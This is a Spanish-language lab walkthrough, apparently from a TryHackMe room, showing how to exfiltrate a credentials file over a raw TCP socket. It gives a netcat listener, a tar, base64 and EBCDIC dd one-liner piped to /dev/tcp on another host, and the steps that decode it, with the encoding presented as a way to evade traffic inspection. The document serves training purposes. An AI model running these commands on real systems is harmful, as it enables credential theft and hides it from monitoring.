Usando ncat y tar
Escuchando en el puerto TCP/8080 en el JumpBox
thm@jump-box$ nc -lvp 8080 > /tmp/task4-creds.data
Listening on [0.0.0.0] (family 0, port 8080)
Comprobando el archivo creds.txt en la máquina víctima
thm@victim1:~$ cat task4/creds.txt
admin:password
Admin:123456
root:toor
Ahora que tenemos el archivo de texto de credenciales, usaremos el socket TCP para extraerlo. Asegúrese de que el oyente se esté ejecutando en Jump-Box .
¡ Exfiltre datos a través del socket TCP de la máquina víctima!
thm@victim1:$ tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/192.168.0.133/8080
0+1 records in
0+1 records out
260 bytes copied, 9.8717e-05 s, 2.6 MB/s
Analicemos el comando anterior y expliquemos :
Usamos el comando tar para crear un archivo con los argumentos zcf del contenido del directorio secreto.
La z es para usar gzip para comprimir la carpeta seleccionada, la c es para crear un nuevo archivo y la f es para usar un archivo comprimido.
Luego pasamos el archivo tar creado al comando base64 para convertirlo a una representación base64.
Luego, pasamos el resultado del comando base64 para crear y copiar un archivo de respaldo con el comando dd usando datos de codificación EBCDIC.
Finalmente, redirigimos la salida del comando dd para transferirla usando el socket TCP en la IP y el puerto especificados, que en este caso, el puerto 8080 .
Tenga en cuenta que utilizamos la codificación Base64 y EBCDIC para proteger los datos durante la exfiltración. Si alguien inspecciona el tráfico, estará en un formato no legible para humanos y no revelará el tipo de archivo transmitido.
Una vez que presionemos Enter, deberíamos recibir los datos codificados en el directorio /tmp/ .
Comprobación de los datos recibidos en el JumpBox
thm@jump-box$ nc -lvp 8080 > /tmp/task4-creds.data
Listening on [0.0.0.0] (family 0, port 8080)
Connection from 192.168.0.101 received!
thm@jump-box$ ls -l /tmp/
-rw-r--r-- 1 root root 240 Apr 8 11:37 task4-creds.data
En Jump-Box, necesitamos convertir los datos recibidos a su estado original. Usaremos la herramienta dd para volver a convertirlo.
Restaurando el archivo tar
thm@jump-box$ cd /tmp/
thm@jump-box:/tmp/$ dd conv=ascii if=task4-creds.data |base64 -d > task4-creds.tar
0+1 records in
0+1 records out
260 bytes transferred in 0.000321 secs (810192 bytes/sec)
La siguiente es la explicación del comando anterior:
Usamos el comando dd para convertir el archivo recibido a representación ASCII . Usamos task4-creds.data como entrada para el comando dd .
La salida del comando dd se pasará a base64 para decodificarla usando el argumento -d .
Finalmente, guardamos el resultado en el archivo task4-creds.tar .
A continuación, debemos usar el comando tar para descomprimir el archivo task4-creds.tar y verificar el contenido de la siguiente manera:
Descomprimiendo el archivo tar
thm@jump-box$ tar xvf task4-creds.tar
task4/
task4/creds.txt
Analicemos el comando anterior y expliquemos :
Usamos el comando tar para descomprimir el archivo con los argumentos xvf .
La x es para extraer el archivo tar, la v para enumerar archivos detalladamente y la f es para usar un archivo comprimido.
Ahora confirmemos que tenemos los mismos datos de la máquina víctima.
Confirmando los datos recibidos.
thm@jump-box$ cat task4/creds.txt
admin:password
Admin:123456
root:toor
Last updated